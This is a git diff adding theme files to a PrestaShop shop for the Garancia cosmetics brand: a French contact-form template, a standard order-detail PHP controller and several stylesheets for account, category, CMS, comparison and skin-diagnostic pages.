        \ No newline at end of file diff --git a/themes/default/config.xml b/themes/default/config.xml new file mode 100755 index 0000000..98e1ec5 --- /dev/null +++ b/themes/default/config.xml @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/themes/default/contact-form.tpl b/themes/default/contact-form.tpl new file mode 100755 index 0000000..d7371d2 --- /dev/null +++ b/themes/default/contact-form.tpl @@ -0,0 +1,154 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Contact'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{l s='Contact'}]

        +{if isset($confirmation)} +

        {l s='Your message has been successfully sent to our team.'}

        +{elseif isset($alreadySent)} +

        {l s='Your message has already been sent.'}

        +{/if} + {*

        {l s='For questions about an order or for more information about our products'}.

        *} + {include file="$tpl_dir./errors.tpl"} +
        +
        +

        + + {if isset($customerThread.id_contact)} + {foreach from=$contacts item=contact} + {if $contact.id_contact == $customerThread.id_contact} + + + {/if} + {/foreach} +

        + {else} + +

        + {/if} +

        + + + + + + +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + +

        +

        + + {if isset($customerThread.email)} + + {else} + + {/if} +

        +

        + + +

        +

        + +

        +

        + +

        +

        + {l s='Conformément à la loi informatique et libertés du 6.01.78, vous disposez d\'un droit d\'accès, de rectification et de suppression des informations vous concernant utilisées exclusivement par GARANCIA que vous pouvez exercer à tout moment en nous adresse un courrier ou un e-mail.'} +
        +
        + {l s='* Champ obligatoire'} +

        +
        +
        +
        +
        +
        +
        {l s='Demande d\'échantillons'}
        +

        {l s='Devant les fortes demandes d\'échantillons, nous vous invitons à vous rendre dans vos points de vente habituels qui pourront vous remettre des échantillons adaptés à votre type de peau.'}

        +
        +
        +
        {l s='Recrutement / RH'}
        +

        {l s='Nous sommes en perpétuelle recherche de talents. Vous pouvez nous envoyer par email votre candidature spontannée pour :'} +
        +
        {l s='Un emploi'} : recrutement-rh@garancia-beauty.com +
        {l s='Un stage'} : stage@garancia-beauty.com +

        +
        +
        +
        {l s='Nous écrire'}
        +

        {l s='Laboratoire Garancia'} +
        {l s='18 Avenue du Recteur Poincarré'} +
        {l s='75016 Paris'} +

        +
        +
        \ No newline at end of file diff --git a/themes/default/css/OrderDetailController.php b/themes/default/css/OrderDetailController.php new file mode 100755 index 0000000..a53e842 --- /dev/null +++ b/themes/default/css/OrderDetailController.php @@ -0,0 +1,224 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderDetailControllerCore extends FrontController +{ + public $auth = true; + public $authRedirection = 'history'; + public $ssl = true; + + /** + * Initialize order detail controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + header('Cache-Control: no-cache, must-revalidate'); + header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); + } + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + if (Tools::isSubmit('submitMessage')) + { + $idOrder = (int)(Tools::getValue('id_order')); + $msgText = Tools::getValue('msgText'); + + if (!$idOrder || !Validate::isUnsignedId($idOrder)) + $this->errors[] = Tools::displayError('The order is no longer valid.'); + elseif (empty($msgText)) + $this->errors[] = Tools::displayError('The message cannot be blank.'); + elseif (!Validate::isMessage($msgText)) + $this->errors[] = Tools::displayError('This message is invalid (HTML is not allowed).'); + if (!count($this->errors)) + { + $order = new Order($idOrder); + if (Validate::isLoadedObject($order) && $order->id_customer == $this->context->customer->id) + { + //check if a thread already exist + $id_customer_thread = CustomerThread::getIdCustomerThreadByEmailAndIdOrder($this->context->customer->email, $order->id); + + $cm = new CustomerMessage(); + if (!$id_customer_thread) + { + $ct = new CustomerThread(); + $ct->id_contact = 0; + $ct->id_customer = (int)$order->id_customer; + $ct->id_shop = (int)$this->context->shop->id; + if ($id_product = (int)Tools::getValue('id_product') && $order->orderContainProduct((int)$id_product)) + $ct->id_product = $id_product; + $ct->id_order = (int)$order->id; + $ct->id_lang = (int)$this->context->language->id; + $ct->email = $this->context->customer->email; + $ct->status = 'open'; + $ct->token = Tools::passwdGen(12); + $ct->add(); + } + else + $ct = new CustomerThread((int)$id_customer_thread); + $cm->id_customer_thread = $ct->id; + $cm->message = $msgText; + $cm->ip_address = ip2long($_SERVER['REMOTE_ADDR']); + $cm->add(); + + if (!Configuration::get('PS_MAIL_EMAIL_MESSAGE')) + $to = strval(Configuration::get('PS_SHOP_EMAIL')); + else + { + $to = new Contact((int)(Configuration::get('PS_MAIL_EMAIL_MESSAGE'))); + $to = strval($to->email); + } + $toName = strval(Configuration::get('PS_SHOP_NAME')); + $customer = $this->context->customer; + + if (Validate::isLoadedObject($customer)) + Mail::Send($this->context->language->id, 'order_customer_comment', Mail::l('Message from a customer'), + array( + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{email}' => $customer->email, + '{id_order}' => (int)($order->id), + '{order_name}' => $order->getUniqReference(), + '{message}' => Tools::nl2br($msgText) + ), + $to, $toName, $customer->email, $customer->firstname.' '.$customer->lastname); + + if (Tools::getValue('ajax') != 'true') + Tools::redirect('index.php?controller=order-detail&id_order='.(int)$idOrder); + + } + else + $this->errors[] = Tools::displayError('Order not found'); + } + } + } + + public function displayAjax() + { + $this->display(); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + if (!($id_order = (int)Tools::getValue('id_order')) || !Validate::isUnsignedId($id_order)) + $this->errors[] = Tools::displayError('Order ID required'); + else + { + $order = new Order($id_order); + if (Validate::isLoadedObject($order) && $order->id_customer == $this->context->customer->id) + { + $id_order_state = (int)($order->getCurrentState()); + $carrier = new Carrier((int)($order->id_carrier), (int)($order->id_lang)); + $addressInvoice = new Address((int)($order->id_address_invoice)); + $addressDelivery = new Address((int)($order->id_address_delivery)); + + $inv_adr_fields = AddressFormat::getOrderedAddressFields($addressInvoice->id_country); + $dlv_adr_fields = AddressFormat::getOrderedAddressFields($addressDelivery->id_country); + + $invoiceAddressFormatedValues = AddressFormat::getFormattedAddressFieldsValues($addressInvoice, $inv_adr_fields); + $deliveryAddressFormatedValues = AddressFormat::getFormattedAddressFieldsValues($addressDelivery, $dlv_adr_fields); + + if ($order->total_discounts > 0) + $this->context->smarty->assign('total_old', (float)($order->total_paid - $order->total_discounts)); + $products = $order->getProducts(); + + /* DEPRECATED: customizedDatas @since 1.5 */ + $customizedDatas = Product::getAllCustomizedDatas((int)($order->id_cart)); + Product::addCustomizationPrice($products, $customizedDatas); + + OrderReturn::addReturnedQuantity($products, $order->id); + + $customer = new Customer($order->id_customer); + + $this->context->smarty->assign(array( + 'shop_name' => strval(Configuration::get('PS_SHOP_NAME')), + 'order' => $order, + 'return_allowed' => (int)($order->isReturnable()), + 'currency' => new Currency($order->id_currency), + 'order_state' => (int)($id_order_state), + 'invoiceAllowed' => (int)(Configuration::get('PS_INVOICE')), + 'invoice' => (OrderState::invoiceAvailable($id_order_state) && count($order->getInvoicesCollection())), + 'order_history' => $order->getHistory($this->context->language->id, false, true), + 'products' => $products, + 'discounts' => $order->getCartRules(), + 'carrier' => $carrier, + 'address_invoice' => $addressInvoice, + 'invoiceState' => (Validate::isLoadedObject($addressInvoice) && $addressInvoice->id_state) ? new State($addressInvoice->id_state) : false, + 'address_delivery' => $addressDelivery, + 'inv_adr_fields' => $inv_adr_fields, + 'dlv_adr_fields' => $dlv_adr_fields, + 'invoiceAddressFormatedValues' => $invoiceAddressFormatedValues, + 'deliveryAddressFormatedValues' => $deliveryAddressFormatedValues, + 'deliveryState' => (Validate::isLoadedObject($addressDelivery) && $addressDelivery->id_state) ? new State($addressDelivery->id_state) : false, + 'is_guest' => false, + 'messages' => CustomerMessage::getMessagesByOrderId((int)($order->id), false), + 'CUSTOMIZE_FILE' => Product::CUSTOMIZE_FILE, + 'CUSTOMIZE_TEXTFIELD' => Product::CUSTOMIZE_TEXTFIELD, + 'isRecyclable' => Configuration::get('PS_RECYCLABLE_PACK'), + 'use_tax' => Configuration::get('PS_TAX'), + 'group_use_tax' => (Group::getPriceDisplayMethod($customer->id_default_group) == PS_TAX_INC), + /* DEPRECATED: customizedDatas @since 1.5 */ + 'customizedDatas' => $customizedDatas + /* DEPRECATED: customizedDatas @since 1.5 */ + )); + + if ($carrier->url && $order->shipping_number) + $this->context->smarty->assign('followup', str_replace('@', $order->shipping_number, $carrier->url)); + $this->context->smarty->assign('HOOK_ORDERDETAILDISPLAYED', Hook::exec('displayOrderDetail', array('order' => $order))); + Hook::exec('actionOrderDetail', array('carrier' => $carrier, 'order' => $order)); + + unset($carrier, $addressInvoice, $addressDelivery); + } + else + $this->errors[] = Tools::displayError('This order cannot be found.'); + unset($order); + } + + $this->setTemplate(_PS_THEME_DIR_.'order-detail.tpl'); + } + + public function setMedia() + { + if (Tools::getValue('ajax') != 'true') + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'history.css'); + $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); + } + } +} + diff --git a/themes/default/css/addresses.css b/themes/default/css/addresses.css new file mode 100755 index 0000000..217ad9f --- /dev/null +++ b/themes/default/css/addresses.css @@ -0,0 +1,106 @@ +#address #left_column, +#addresses #left_column {display:none} +#addresses #center_column{} +#addresses #center_column h1, +#address #center_column h1 {margin-bottom:20px;border-bottom:1px solid black;padding:10px 0 20px 0 ;} +#address #center_column h2, +#addresses #center_column h2 {color:#8daa01;font-size:16px;font-weight:normal;font-family:Arial,Sans-serif;} +#address.addresses, +#addresses .addresses{ + color:#000000; + width:468px; + font-size:12Px; +} +#address #center_column fieldset{margin:0;} +#address .addresses h3, +#addresses .addresses h3 { + font-weight:normal; + font-size:13px; + border-bottom:1px solid #cccccc; + padding:20px 0; + margin:0 0 20px; + font-size:12px; + font-weight:bold; + text-transform:uppercase; + color:#000000; +} +#address .addresses h3 a.btRight, +#addresses .addresses h3 a.btRight{ + float:right; + background:#f0f0f0; + color:#000000; + padding:0 10px; + line-height:19px; + height:19px; + font-size:11Px; + margin:0 0 0 10px; + font-size:11px; + font-weight:normal; + text-transform:none; +} +#addresses .addresses ul{ + padding:0 0 20px; + +} + + +#address p { + padding-bottom:10px; +} +#address form.std fieldset { +} +#address form.std fieldset p.radio span, +#address form.std fieldset p.textarea label, +#address form.std fieldset p.select label, +#address form.std fieldset p.text label{ + width:296px; + text-align:left; + float:left; + width:202px; +} +#address form.std fieldset p.password input, +#address form.std fieldset p.text input{ + margin:4px 0 10px; +} +#address p.text small{ + float:left; + margin:-12px 0 0; + width:489px; + font-size:11Px; + color:#b2b2b2; + font-weight:normal; + font-style:italic; +} +#address form.std fieldset p sup{ + vertical-align:5px; +} +#address form.std fieldset p.text a.savoir_plus{ + float:right; + color:#000000; + text-decoration:underline; + font-weight:bold; + font-style:normal; + font-size:11px +} + + +form.std p.text{ + color: #999999; + font-size: 13px; + line-height: 42px; + text-align: left; +} +#address form.std fieldset p.bold{ + font-weight:bold; +} +#address form.std fieldset p.checkbox{ + padding:0 0 10px; + font-size:13px; +} +form.std p.submit{ + padding:10px 0 30px; +} + +#address form.std p.submit{ + padding-left:0; +} \ No newline at end of file diff --git a/themes/default/css/authentication.css b/themes/default/css/authentication.css new file mode 100755 index 0000000..fbac191 --- /dev/null +++ b/themes/default/css/authentication.css @@ -0,0 +1,65 @@ + .cadreAccount{ + background: none repeat scroll 0 0 #FAFAFA; + border: 1px solid #E5E5E5; + float:left; + width:429px; + height:190px; + padding:0 20px 20px; + } + .cadreAccount.right{ + float:right; + } + + #authentication form.std.cadreAccount h3{ + font-size:26px; + color:#000000; + } + #authentication form.std.cadreAccount p{ + line-height:16px; + font-size:11px; + padding:0 0 10px; + } + #authentication form.std.cadreAccount p.lost_password{ + padding-top:15px; + } + #authentication form.std.cadreAccount p.lost_password a, + #authentication form.std.cadreAccount p.lost_password{ + color:#8daa01; + text-align:right; + } + #authentication form.std.cadreAccount p.lost_password a{ + text-decoration:underline; + } + #authentication form.std.cadreAccount p.submit{ + padding:0; + } + #authentication form.std.cadreAccount p.submit input{ + float:right; + } + +form.std p.text input.inputText209{ + margin:0; +} +form.std p.text input.inputText209.right{ + float:right; +} +#account-creation_form{ + border-top:1px solid black; + padding:20px 490px 0 0; +} +#account-creation_form p{ + font-size:12px; +} +#account-creation_form p.checkbox{ + padding-left:0; + margin:0 0 20px; +} +#account-creation_form p.checkbox input{ + float:left; +} +#account-creation_form p.checkbox label{ + color:#000000; + font-size:13px; + line-height:16px; + padding:0 0 0 10px; +} \ No newline at end of file diff --git a/themes/default/css/category.css b/themes/default/css/category.css new file mode 100755 index 0000000..706a932 --- /dev/null +++ b/themes/default/css/category.css @@ -0,0 +1,306 @@ +#category #page .borderGreen{ + width:774px; + float:right; + border-top: 0; +} +.content_scene_cat{ + background: #fff; + border-top: 7px solid #b9da1a; + border-bottom: 7px solid #b9da1a; + box-sizing: border-box; + clear: both; + float: none; + min-height: 263px; + padding: 15px 20px 20px; + text-align: center; + width: 100%; + margin-bottom : 20px; +} +.content_scene_cat h1 { + border-bottom: 1px solid #fff; + color: #fff; + display: inline-block; + font-size: 30px; + line-height: 30px; + padding-bottom: 10px; + color: #fff; +} +.category-32 .content_scene_cat h1 { + color: #000; + border-bottom: 1px solid #000; +} +.content_scene_cat .align_center {display: inline-block;vertical-align: top;width: 40%;} +.content_scene_cat .cat_desc { + color: #fff; + display: block; + padding: 0; + text-align: left; + vertical-align: top; + width: 70%; +} +.content_scene_cat .cat_desc.center {display: block;margin: 0 auto;} +.cat_desc p { + color: #fff !important; + display: block; + margin: 0 0 20px; + padding: 0; + font-size: 15px; + font-family: "ProximaNova"; + text-align: justify; + line-height : 20px; +} +.category-32 .cat_desc p { + color: #000 !important; +} +#category_description_full { + border: medium none; + color: #000; + float: right; + padding: 0; + text-align: left; + width: 814px; +} +.lnk_more, +.lnk_more:hover { + background: none repeat scroll 0 0 #b9da1a; + border: 1px solid #a9c717; + display: inline-block; + color: #00000f; + font-family: "ProximaNova"; + font-size: 18px; + padding: 10px 23px 10px 18px; + text-decoration:none; +} + +.lnk_more span {margin-left: 10px;} +#menuGauche { + background: url("../img/bgMenuGauche.png") repeat-y scroll 0 0 rgba(0, 0, 0, 0); + left: 0; + padding: 40px 40px 40px 20px; + position: absolute; + top: 0; + width: 140px; +} +#menuGauche p{ + padding:0; +} +#menuGauche .titre{ + color: #000000; + font-family: Times New Roman; + font-size: 13px; + line-height: 19px; + margin: 0; + padding: 0; + text-transform: uppercase; + height:30px; + line-height:15px; + font-weight:bold; +} +#menuGauche .checkbox{ + height:30px; + line-height:15px; +} +#menuGauche .checkbox input{ + margin:0 5px 5px 0; + float:left; +} +#menuGauche .checkbox label{ + line-height:15px; + font-size: 12px; +} +.center_column_category{ + border-top:7px solid #b9da1a; +} + +#category_description_full:after, +#category_description_full *:after, +#category_description_full:before, +#category_description_full *:before, +#category_description_full, +#category_description_full *{ + box-sizing: border-box; + font-family: "ProximaNova"; +} +#category_description_full{ + background: #fff; + border-top: 7px solid #b9da1a; + border-bottom:7px solid #b9da1a; +} +#category_description_full .box-description{ + padding : 20px; +} +#category_description_full .box-description.box-grey{ + background-color: #f5f5f5; +} +#category_description_full .box-description.box-special{ + background: url('../img/bgspecial.png') no-repeat left center ; +} +.category-10 #category_description_full .box-description.box-special{ + background: url('../img/bgspecial-10.png') no-repeat left center ; +} +.category-32 #category_description_full .box-description.box-special{ + background: url('../img/bgspecial-32.png') no-repeat left center ; +} +.category-33 #category_description_full .box-description.box-special{ + background: url('../img/bgspecial-33.png') no-repeat left center ; +} +.category-9 #category_description_full .box-description.box-special{ + background: url('../img/bgspecial-9.png') no-repeat left center ; +} +.category-8 #category_description_full .box-description.box-special{ + background: url('../img/bgspecial-8.png') no-repeat left center ; +} +.category-6 #category_description_full .box-description.box-special{ + background: url('../img/bgspecial-6.png') no-repeat left center ; +} +.category-4 #category_description_full .box-description.box-special{ + background: url('../img/bgspecial-4.png') no-repeat left center ; +} +.category-5 #category_description_full .box-description.box-special{ + background: url('../img/bgspecial-4.png') no-repeat left center ; +} +.category-5 #category_description_full .box-description.box-special.box-special-2{ + background: url('../img/bgspecial-5.png') no-repeat left center ; +} +.category-11 #category_description_full .box-description.box-special{ + background: url('../img/bgspecial-11.png') no-repeat left center ; +} +#category_description_full .description-img{ + display: table-cell; + width: 313px; + text-align : center; + vertical-align : middle; +} +#category_description_full .col-text{ + width: 461px; + display: table-cell; +} +#category_description_full .description-text{ + padding : 40px 40px 30px 40px; +} +#category_description_full .box-grey .description-text{ + padding : 20px 40px 0 40px; +} +#category_description_full .col-green .description-text{ + background: #b9d919; +} +#category_description_full .description-text h3{ + color: #000; + font-weight: bold; + font-size: 28px; + line-height : 28px; +} +#category_description_full .description-text ul li, +#category_description_full .description-text p{ + color: #000; + font-size: 15px; + line-height : 24px; + text-align : justify; + padding : 0; + margin-bottom: 20px; +} +.category-4 #category_description_full .description-text ul li, +.category-4 #category_description_full .description-text p{ + line-height : 25px; +} +.category-8 #category_description_full .description-text p, +.category-10 #category_description_full .description-text p{ + line-height : 19px; +} +.category-6 #category_description_full .description-text ul li, +.category-6 #category_description_full .description-text p{ + margin-bottom: 10px; +} +.category-32 #category_description_full .description-text p.description-text-small{ + margin-bottom: 0; +} +#category_description_full .description-text a.button-black{ + background-color: #080808; + color: #fff; + font-size: 18px; + padding : 14px 17px; + margin-top : 0; + display : inline-block; + text-decoration : none; +} +#category_description_full .description-text .description-text-small, +#category_description_full .description-text-small{ + color: #595959; + font-size: 9px; + padding : 15px 40px 0; +} +#category_description_full .description-text .description-text-small{ + padding: 15px 0 0; + line-height: 9px; +} +#category_description_full .col-puce{ + float : left; + width: 313px; +} +#category_description_full .col-puce li{ + position : relative; + margin-top : 30px; + clear : both; + overflow : auto; +} +.category-6 #category_description_full .col-puce li{ + margin-top : 0; +} +.category-6 #category_description_full .col-puce li:nth-child(3), +.category-6 #category_description_full .col-puce li:nth-child(2){ + margin-top : 35px; +} +#category_description_full .col-puce li p, +#category_description_full .col-puce li{ + color : #000; +} +#category_description_full .col-puce li .li-number { + position : absolute; + top : 0; + left : 0; + width : 50px; + height: 50px; + color: #000; + font-size: 14px; + text-align : center; + background : url('../img/col-puce-black.png') no-repeat center center; + padding : 18px 0 0 ; +} +.category-6 #category_description_full .col-puce li:first-child .li-number { + top: 42px; +} +#category_description_full .col-puce li p{ + padding : 13px 0 0 60px; + float : left; + width : 190px; + font-size: 15px; + line-height: 25px; +} +.category-6 #category_description_full .col-puce li p{ + width : 195px; +} +.category-6 #category_description_full .col-puce li:first-child p{ + padding-top: 55px; +} +.category-6 #category_description_full .col-puce li:first-child p.puce-img{ + padding-top: 13px; +} +#category_description_full .col-puce li p strong{ + font-size : 18px; + display : block; +} +#category_description_full .col-puce li p.puce-img{ + padding : 0; + float : right; + text-align : center; + width : 123px; +} +.category-6 #category_description_full .col-puce li p.puce-img{ + width : 118px; +} +.category-6 #category_description_full .col-puce li:nth-child(2) p.puce-img{ + padding-top: 16px; +} +.category-6 #category_description_full .col-puce li:nth-child(3) p.puce-img{ + padding-top: 16px; +} \ No newline at end of file diff --git a/themes/default/css/cms.css b/themes/default/css/cms.css new file mode 100755 index 0000000..da183e0 --- /dev/null +++ b/themes/default/css/cms.css @@ -0,0 +1,79 @@ +/* CMS pages ****************************************************************************** */ +#cms #center_column ul, +#cms #center_column ol, +#cms #center_column dl { margin-left:25px; margin-bottom:20px } + +#cms #center_column li { margin-bottom:5px } +#cms #center_column .borderGreen{ + font-size:12px; + font-family:Arial,Sans-Serif; + color:#000000; +} +#cms #center_column h1{ + border-bottom:1px solid #000000; + color:#000000; + padding-bottom:20px; +} +#cms #center_column .borderGreen strong{ + font-size:14px; + font-weight:bold; +} +#cms #center_column .borderGreen a{ + color:#000000; + text-decoration:none; +} +#cms #center_column .borderGreen{ + width:auto; +} +#cms #center_column table td.disabled{ + background:#f5f5f5; +} +#cms #center_column table th{ + text-transform:uppercase; + font-weight:bold; +} +#cms #center_column table th, +#cms #center_column table td{ + border:1px solid #cccccc; + padding:5px 10px 5px 20px; +} +#cms #center_column table{ + width:100%; + margin:0 0 14px 0; +} +#cms #center_column table.modeLivraison th:first-child, +#cms #center_column table.modeLivraison td:first-child{padding-left:15px;} +#cms #center_column table.modeLivraison td, +#cms #center_column table.modeLivraison th{padding-left:25px;} +#cms #center_column table.modeLivraison .item1{width:165px} +#cms #center_column table.modeLivraison .item2{width:165px;} +#cms #center_column h2{ + font-size:24px; + font-family: Times New Roman; + text-transform: uppercase; + font-weight:normal; +} +#cms #center_column table.paysConcernes th{ + padding-top:10px; + padding-bottom:10px; +} +#cms #center_column table.paysConcernes th.item4, +#cms #center_column table.paysConcernes th.item5, +#cms #center_column table.paysConcernes th.item6{ + width:108px; +} +#cms #center_column table.paysConcernes td{ + border-top:0; + border-bottom:0; + padding-top:10px; + padding-bottom:10px; +} +#cms #center_column table.paysConcernes tr:last-child td{ + border-bottom:1px solid #cccccc; +} +hr.marron{ + border:0; + height:2px; + border-bottom:1px solid #cccccc; + margin:10px 0 30px; +} \ No newline at end of file diff --git a/themes/default/css/comparator.css b/themes/default/css/comparator.css new file mode 100755 index 0000000..6ef21eb --- /dev/null +++ b/themes/default/css/comparator.css @@ -0,0 +1,98 @@ +table#product_comparison { + width:100%; + border-right:1px solid #ccc; + border-bottom:1px solid #ccc; +} +#product_comparison tr.comparison_header {font-weight:bold} +#product_comparison td { + padding:6px; + border-top:1px solid #ccc; + border-left:1px solid #ccc; + border-right:1px solid #ccc; + vertical-align:top +} +#product_comparison td.td_empty{ + border:none; + background:#fff; +} +#product_comparison tr.comparison_header, +#product_comparison td.comparison_feature_even {background:#f8f8f8} + +#product_comparison .product_image { + display:block; + text-align:center +} +#product_comparison .product_image img {border:1px solid #ccc} +#product_comparison .s_title_block { + margin-bottom:10px; + font-size:12px; + color:#000; + font-weight:bold; + padding-bottom: 0; +} +#product_comparison .product_desc { + padding-bottom:5px; + height:40px; + color:#666 +} +#product_comparison .lnk_more { + display:block; + margin-bottom:10px; + padding-left:10px; + color:#0088cc; + background:url(../img/arrow_right_1.png) no-repeat 0 4px transparent; +} + +.prices_container {height:50px} +.price_container {padding-bottom:10px} +#product_comparison .price { + font-weight:bold; + font-size:14px; + color:#990000 +} +.discount { + display:inline-block; + padding:1px 5px; + font-size:10px; + font-weight:bold; + color:#fff; + text-transform:uppercase; + background:#9B0000 +} + +.comparison_availability_statut {display:none} + +#product_comparison .cmp_remove { + display:block; + margin-bottom:10px; + padding-right:16px; + font-weight:bold; + text-align:right; + background:url(../img/icon/delete.gif) no-repeat 100% 1px transparent; +} + +.ajax_add_to_cart_button { + margin-left:9px; + padding-left:20px !important +} +.ajax_add_to_cart_button span { + display: block; + position: absolute; + top: -1px; + height: 26px; + left: -12px; + width: 26px; + background: url(../img/icon/pict_add_cart.png) no-repeat 0 0 transparent +} + + + + + + + + + + + + diff --git a/themes/default/css/contact-form.css b/themes/default/css/contact-form.css new file mode 100755 index 0000000..2229e27 --- /dev/null +++ b/themes/default/css/contact-form.css @@ -0,0 +1,132 @@ +h1{ + padding:0 0 20px; + border-bottom:1px solid #000000; +} +#formContact fieldset { + margin:20px 0 0; +} +form.std fieldset { + margin:20px 0 0; + border:0; + background:none; +} +form.std p{ + clear:both; +} +form.std p.text label, +form.std p.select label, +form.std p.textarea label { + float:left; + padding:6px 0; + width:202px;/* 180 */ + font-size:13px; + text-align:left; + color:#000000; + line-height:30px; +} +form.std p.text input{ + float:left; + padding:3px 15px 0 15px; + height:30px; + line-height:30px; + width:380px;/* 270 */ + font-size: 12px; + color:#000000; + border:0; + background:url('../img/inputText.jpg') no-repeat 0 0; +} +form.std p textarea{ + float:left; + padding:18px 15px 15px 15px; + height:89px; + line-height:14px; + width:380px;/* 270 */ + font-size: 12px; + color:#000000; + border:0; + background:url('../img/inputTextarea.jpg') no-repeat 0 0; + resize:none; +} +form.std p.textarea label { + vertical-align:middle; + position:relative; +} +form.std p.submit{ + padding:20px 0 20px 202px; + +} +form.std p.checkbox{ + padding:20px 0 0px 202px; + +} +form.std p.submit input{ + line-height:34px; + height:34px; + text-transform:uppercase; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A!important; +} + + +/* rightCol */ +/* +#page .rightCol .blocRight { + padding:0 0 1px; + margin:0 0 20px; + background:url('../img/blocRightContact.png') no-repeat left bottom; +} +#page .rightCol .blocRight.green{ + padding:20px 0 0; + background:#b9da1a; + text-align:center; +} +#page .rightCol .blocRight h5{ + line-height:33px; + height:33px; + font-size:18px; + color:#000000; + background:#b9da1a; + text-align:center; + text-transform:uppercase; +} +#page .rightCol .blocRight p{ + padding:13px 20px; + text-align:justify; + color:#000000; + line-height:13px; + font-size:11px; +} +#page .rightCol .blocRight p a{ + color:#000000; + font-size:11px; +} + +#page .rightCol .blocRight.green p, +#page .rightCol .blocRight.green h5{ + text-align:center; +} +#page .rightCol .blocRight.green h5{ + font-size:18px; + font-weight:bold; +} +#page .rightCol .blocRight.green p{ + padding:0 20px 13px; + font-size:14px; + line-height:25px; +} +*/ +form.std p label { + position:relative; +} +form.std p label span.erreur{ + position:absolute; + top:20px; + left:0; + color:#da431a; + font-size:11px; + font-weight:bold; + font-style:italic; + display:block; +} +form.std p label span.erreur.hidden{ + display:none; +} \ No newline at end of file diff --git a/themes/default/css/diagnostic.css b/themes/default/css/diagnostic.css new file mode 100755 index 0000000..79d5760 --- /dev/null +++ b/themes/default/css/diagnostic.css @@ -0,0 +1,385 @@ +.op05 { + opacity: 0.5 !important; +} + +.ui-mobile .slider-desktop { + display: none; +} + +/* mini étapes */ +#diagnostic .diagnosticMiniStep{ + text-align:center; + margin:0 0 20px; +} +#diagnostic .diagnosticMiniStep li{ + display:inline; +} + +/* Etape 0*/ +#diagnostic .etape0 img{ + float:left; + margin:0 20px 0 0; +} +#diagnostic .etape0{ + width:672px; + margin:0 auto; + padding:30px 0; + height:280px; +} +#diagnostic .etape0 .description{ + float:left; + width:390px; + text-align:center; + padding:37px 0 0; + height:220px; + position:relative; +} +#diagnostic .etape0 .description p{ + padding:0 0 20px; + line-height:20px; + font-size:14px; +} +#diagnostic .etape0 .description .button{ + position:absolute; + bottom:0; + left:83px; + height:34px; + line-height:34px; + text-transform:uppercase; + background-position:right center; + font-family:Times New Roman; +} +/* étapes fléchées */ +#diagnostic .diagnosticSteps{display:table;height:42px;line-height:42px;width:100%;margin:0 0 20px;} +#diagnostic .diagnosticSteps.step1{background-position:0 right;} +#diagnostic .diagnosticSteps.step1{background-position:0 right;} +#diagnostic .diagnosticSteps.step2{background-position:0 -42px;} +#diagnostic .diagnosticSteps.step3{background-position:0 -84px;} +#diagnostic .diagnosticSteps.step4{background-position:0 -126px;} +#diagnostic .diagnosticSteps.step5{background-position:0 -168px;} +#diagnostic .diagnosticSteps.step6{background-position:0 -120px;} +#diagnostic .diagnosticSteps li{display:table-cell;list-style:none;margin:0;padding:0;} +#diagnostic .diagnosticSteps li.selected{font-size:14px;} + +#diagnostic .diagnosticSteps li a{text-decoration:none;display:block;height:42px;line-height:42px;font-size:12px;text-align:center;font-family:Times New Roman;text-transform:uppercase;padding:0 20px 0 0px;} + +#diagnostic .diagnosticSteps li.item1{padding:0;} +#diagnostic .diagnosticSteps li a{background:url('../img/diagnosticSteps.png') no-repeat right 0 ;} +#diagnostic .diagnosticSteps li.selected a{background:url('../img/diagnosticSteps.png') no-repeat right -42px;} + +#diagnostic .diagnosticSteps li.item6 a{background:url('../img/diagnosticSteps.png') no-repeat -20px 0;padding:0;} +#diagnostic .diagnosticSteps li.item6.selected a{background:url('../img/diagnosticSteps.png') no-repeat -20px -42px;} + + +#diagnostic .diagnosticSteps li.selected{font-size:14px;} +#diagnostic .diagnosticSteps li.selected a{font-size:14px;padding:0 10px 0 0} + +#diagnostic .diagnosticSteps.step2 li.item1, +#diagnostic .diagnosticSteps.step3 li.item2, +#diagnostic .diagnosticSteps.step4 li.item3, +#diagnostic .diagnosticSteps.step5 li.item4, +#diagnostic .diagnosticSteps.step6 li.item5{padding:0 20px 0 0;background:url('../img/diagnosticSteps.png') no-repeat right -126px; } +#diagnostic .diagnosticSteps.step2 li.item1 a, +#diagnostic .diagnosticSteps.step3 li.item2 a, +#diagnostic .diagnosticSteps.step4 li.item3 a, +#diagnostic .diagnosticSteps.step5 li.item4 a, +#diagnostic .diagnosticSteps.step6 li.item5 a{padding:0px;background-position:-20px 0;} + + +/* étapes 1 */ +#diagnostic .formulaire{ + padding: 20px 0 20px 124px; +} +#diagnostic .formulaire p.titre{ + padding:0 0 20px 24px; + background:url('../img/diagFleche.png') no-repeat 0 0; + font-size:16px; + font-weight:bold; + line-height:20px; +} +#diagnostic .formulaire p.titre.diagFlecheSmall{ + background:url('../img/diagFlecheSmall.png') no-repeat 11px 5px; + font-size:16px; + font-weight:bold; + line-height:20px; +} +#diagnostic .formulaire p.radio input{ + margin:0 5px 0 